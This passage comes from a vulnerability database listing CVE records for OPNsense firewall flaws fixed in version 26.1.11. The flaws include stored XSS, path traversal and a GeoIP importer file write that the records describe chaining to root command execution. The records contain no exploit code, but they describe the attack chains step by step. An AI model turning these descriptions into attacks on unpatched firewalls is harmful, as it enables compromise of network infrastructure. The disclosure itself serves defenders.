"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-8pgr-x852-qx4j"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, src/www/system_advanced_admin.php reads certificate records into $a_cert but omits that array from legacy_html_escape_form_data() before rendering each certificate descr value in the SSL Certificate selector. The certificate description accepts HTML metacharacters, allowing a user with the page-system-certmanager privilege to store markup that executes when another user opens System Settings Administration. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.2,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:20:15.232Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-8pgr-x852-qx4j",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-8pgr-x852-qx4j"
},
{
"name": "https://github.com/opnsense/core/commit/9d0a590e9c49f4374a5539929b366123f63bc9eb",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/9d0a590e9c49f4374a5539929b366123f63bc9eb"
},
{
"name": "https://github.com/opnsense/core/commit/adcb02f8f68071e636bf9660b2cb8d0229f34674",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/adcb02f8f68071e636bf9660b2cb8d0229f34674"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-8pgr-x852-qx4j",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS in Administration Settings via Certificate Description"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58394",
"datePublished": "2026-10-15T15:20:15.232Z",
"dateReserved": "2026-06-30T18:19:58.378Z",
"dateUpdated": "2026-10-15T18:36:57.734Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58393 (GCVE-0-2026-58393)
Vulnerability from nvd – Published: 2026-10-15 15:15 – Updated: 2026-10-15 16:07
VLAI
EPSS
VEX
Title
OPNsense: OpenVPN Client Specific Override common_name allows path traversal in generated CSO files
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN Client Specific Override common_name field accepts path traversal sequences and openvpn_csc_conf_write() concatenates the value into /var/etc/openvpn-csc/<vpnid>/<common_name> without normalization or a basename check. The affected event handlers are client_connect.php and user_pass_verify.php. An authenticated user with Client Specific Override privileges can store the traversal value, and a matching OpenVPN client-connect or authentication event causes a generated CSO file to be written outside the intended directory. The file content is generated OpenVPN configuration rather than arbitrary bytes, and practical exploitation requires the attacker to cause a matching common name or username to be processed. This issue is fixed in version 26.1.11.
Severity
5.9 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 16:07 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/3af496143… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/6101b3e2c… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58393",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T16:07:43.427308Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T16:07:55.688Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2m9v-p7r9-gfcw"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN Client Specific Override common_name field accepts path traversal sequences and openvpn_csc_conf_write() concatenates the value into /var/etc/openvpn-csc/\u003cvpnid\u003e/\u003ccommon_name\u003e without normalization or a basename check. The affected event handlers are client_connect.php and user_pass_verify.php. An authenticated user with Client Specific Override privileges can store the traversal value, and a matching OpenVPN client-connect or authentication event causes a generated CSO file to be written outside the intended directory. The file content is generated OpenVPN configuration rather than arbitrary bytes, and practical exploitation requires the attacker to cause a matching common name or username to be processed. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:15:45.924Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-2m9v-p7r9-gfcw",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2m9v-p7r9-gfcw"
},
{
"name": "https://github.com/opnsense/core/commit/3af496143a19153c18b2f9458b2510d58aff2b98",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/3af496143a19153c18b2f9458b2510d58aff2b98"
},
{
"name": "https://github.com/opnsense/core/commit/6101b3e2c90482111f420a47775c14a447441a72",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/6101b3e2c90482111f420a47775c14a447441a72"
}
],
"source": {
"advisory": "GHSA-2m9v-p7r9-gfcw",
"discovery": "UNKNOWN"
},
"title": "OPNsense: OpenVPN Client Specific Override common_name allows path traversal in generated CSO files"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58393",
"datePublished": "2026-10-15T15:15:45.924Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-15T16:07:55.688Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58392 (GCVE-0-2026-58392)
Vulnerability from nvd – Published: 2026-10-15 15:18 – Updated: 2026-10-15 15:54
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS in Services: NTP GPS
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the NTP GPS page stores the operator-supplied initcmd value in base64 form, applies legacy_html_escape_form_data() to the encoded string, and then uses base64_decode() to decode the value directly into the GPS initialization-command textarea in src/www/services_ntpd_gps.php. Because decoding occurs after escaping, stored HTML remains unescaped at the output sink. A user with page-services-ntp-gps privilege can store a value that closes the textarea, and script executes in the session of any user who later opens the GPS page. The script can read CSRF material and perform authenticated actions, including actions available to an administrator. This issue is fixed in version 26.1.11.
Severity
5.4 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 15:54 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/a92d9514b… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/ed04a154d… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58392",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T15:54:50.680359Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:54:57.730Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-h793-67jm-j4m5"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the NTP GPS page stores the operator-supplied initcmd value in base64 form, applies legacy_html_escape_form_data() to the encoded string, and then uses base64_decode() to decode the value directly into the GPS initialization-command textarea in src/www/services_ntpd_gps.php. Because decoding occurs after escaping, stored HTML remains unescaped at the output sink. A user with page-services-ntp-gps privilege can store a value that closes the textarea, and script executes in the session of any user who later opens the GPS page. The script can read CSRF material and perform authenticated actions, including actions available to an administrator. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:18:32.003Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-h793-67jm-j4m5",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-h793-67jm-j4m5"
},
{
"name": "https://github.com/opnsense/core/commit/a92d9514b5436c868f8f97138ebed507f6de423c",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/a92d9514b5436c868f8f97138ebed507f6de423c"
},
{
"name": "https://github.com/opnsense/core/commit/ed04a154dc40967541be1388e9134e451be4199e",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/ed04a154dc40967541be1388e9134e451be4199e"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-h793-67jm-j4m5",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS in Services: NTP GPS"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58392",
"datePublished": "2026-10-15T15:18:32.003Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-15T15:54:57.730Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58391 (GCVE-0-2026-58391)
Vulnerability from nvd – Published: 2026-10-15 15:12 – Updated: 2026-10-20 02:43
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS in Firewall Rules/NAT pages via a HTML-attribute breakout
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, Firewall Rules and NAT views place stored category names and alias descriptions into HTML title attributes in filter_rule.volt and nat_rule.volt without quote-safe encoding. The response layer uses ENT_NOQUOTES, so a double quote survives and closes the attribute, allowing an event-handler attribute to be added to the existing span. A user with Firewall Categories or Firewall Alias Edit privileges can store a category name or alias description; the category must be assigned to a filter or NAT rule, or the alias must be referenced by a rule source or destination, and the rule must be saved so the affected tooltip is rendered. Script then executes in the session of an administrator or other user who opens the affected Rules or NAT page. The script can access CSRF material and perform authenticated actions as the victim. This issue is fixed in version 26.1.11.
Severity
5.4 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-20 02:42 UTC
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/5e6313f50… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/fb3b8a07f… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58391",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-20T02:42:27.132294Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-20T02:43:10.326Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2xrm-p255-p43h"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, Firewall Rules and NAT views place stored category names and alias descriptions into HTML title attributes in filter_rule.volt and nat_rule.volt without quote-safe encoding. The response layer uses ENT_NOQUOTES, so a double quote survives and closes the attribute, allowing an event-handler attribute to be added to the existing span. A user with Firewall Categories or Firewall Alias Edit privileges can store a category name or alias description; the category must be assigned to a filter or NAT rule, or the alias must be referenced by a rule source or destination, and the rule must be saved so the affected tooltip is rendered. Script then executes in the session of an administrator or other user who opens the affected Rules or NAT page. The script can access CSRF material and perform authenticated actions as the victim. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-83",
"description": "CWE-83: Improper Neutralization of Script in Attributes in a Web Page",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:12:08.334Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-2xrm-p255-p43h",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2xrm-p255-p43h"
},
{
"name": "https://github.com/opnsense/core/commit/5e6313f50546474031805039e209830b63b2b0e4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/5e6313f50546474031805039e209830b63b2b0e4"
},
{
"name": "https://github.com/opnsense/core/commit/fb3b8a07f407ce281b1dde748706acbb0bc514ce",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/fb3b8a07f407ce281b1dde748706acbb0bc514ce"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-2xrm-p255-p43h",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS in Firewall Rules/NAT pages via a HTML-attribute breakout"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58391",
"datePublished": "2026-10-15T15:12:08.334Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-20T02:43:10.326Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58390 (GCVE-0-2026-58390)
Vulnerability from nvd – Published: 2026-10-15 15:21 – Updated: 2026-10-20 02:44
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS to root RCE via OpenVPN client common_name in status views
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator's session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-20 02:43 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/11180daf5… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/e7b2ac809… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58390",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-20T02:43:46.164395Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-20T02:44:08.318Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator\u0027s session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:21:09.883Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf"
},
{
"name": "https://github.com/opnsense/core/commit/11180daf579879d84d91a7fbea7a59320bc80868",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/11180daf579879d84d91a7fbea7a59320bc80868"
},
{
"name": "https://github.com/opnsense/core/commit/e7b2ac8093f804bef8eb88dfa9a0d99fad00c12b",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e7b2ac8093f804bef8eb88dfa9a0d99fad00c12b"
}
],
"source": {
"advisory": "GHSA-26cj-h9rj-g5pf",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS to root RCE via OpenVPN client common_name in status views"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58390",
"datePublished": "2026-10-15T15:21:09.883Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-20T02:44:08.318Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-57155 (GCVE-0-2026-57155)
Vulnerability from nvd – Published: 2026-10-15 15:13 – Updated: 2026-10-15 15:45
VLAI
EPSS
VEX
Title
OPNsense: Root RCE via Arbitrary File Write in GeoIP Alias Importer
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the Firewall Alias GeoIP importer's process_zip() and process_gzip() paths in src/opnsense/scripts/filter/lib/alias/geoip.py use an unvalidated CSV country_code value to construct output filenames below /usr/local/share/GeoIP/alias. A user with Firewall Alias Edit privilege can configure an attacker-controlled GeoIP source URL and supply an archive whose country code traverses into another existing directory, causing attacker-controlled content to be written as root with an -IPv4 or -IPv6 suffix. A crafted newsyslog fragment and oversized log file can use the default hourly root cron job to execute commands as root, resulting in complete firewall compromise. This issue is fixed in version 26.1.11.
Severity
9.9 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 15:45 UTC
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/c46aced9c… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/e7fbfaa7f… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-57155",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T15:45:26.496634Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:45:48.529Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-wjqq-rfmm-v5h3"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the Firewall Alias GeoIP importer\u0027s process_zip() and process_gzip() paths in src/opnsense/scripts/filter/lib/alias/geoip.py use an unvalidated CSV country_code value to construct output filenames below /usr/local/share/GeoIP/alias. A user with Firewall Alias Edit privilege can configure an attacker-controlled GeoIP source URL and supply an archive whose country code traverses into another existing directory, causing attacker-controlled content to be written as root with an -IPv4 or -IPv6 suffix. A crafted newsyslog fragment and oversized log file can use the default hourly root cron job to execute commands as root, resulting in complete firewall compromise. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73: External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:13:12.343Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-wjqq-rfmm-v5h3",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-wjqq-rfmm-v5h3"
},
{
"name": "https://github.com/opnsense/core/commit/c46aced9c47d956167e294911113bc334fea5f48",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/c46aced9c47d956167e294911113bc334fea5f48"
},
{
"name": "https://github.com/opnsense/core/commit/e7fbfaa7f5e070da667e3f243da11fd3d4b731fa",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e7fbfaa7f5e070da667e3f243da11fd3d4b731fa"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-wjqq-rfmm-v5h3",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Root RCE via Arbitrary File Write in GeoIP Alias Importer"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-57155",
"datePublished": "2026-10-15T15:13:12.343Z",
"dateReserved": "2026-06-24T01:45:48.698Z",
"dateUpdated": "2026-10-15T15:45:48.529Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-53582 (GCVE-0-2026-53582)
Vulnerability from nvd – Published: 2026-10-15 15:08 – Updated: 2026-10-16 17:13
VLAI
EPSS
VEX
Title
OPNsense: XPATH Injection can disclose any secret in config.xml
Summary
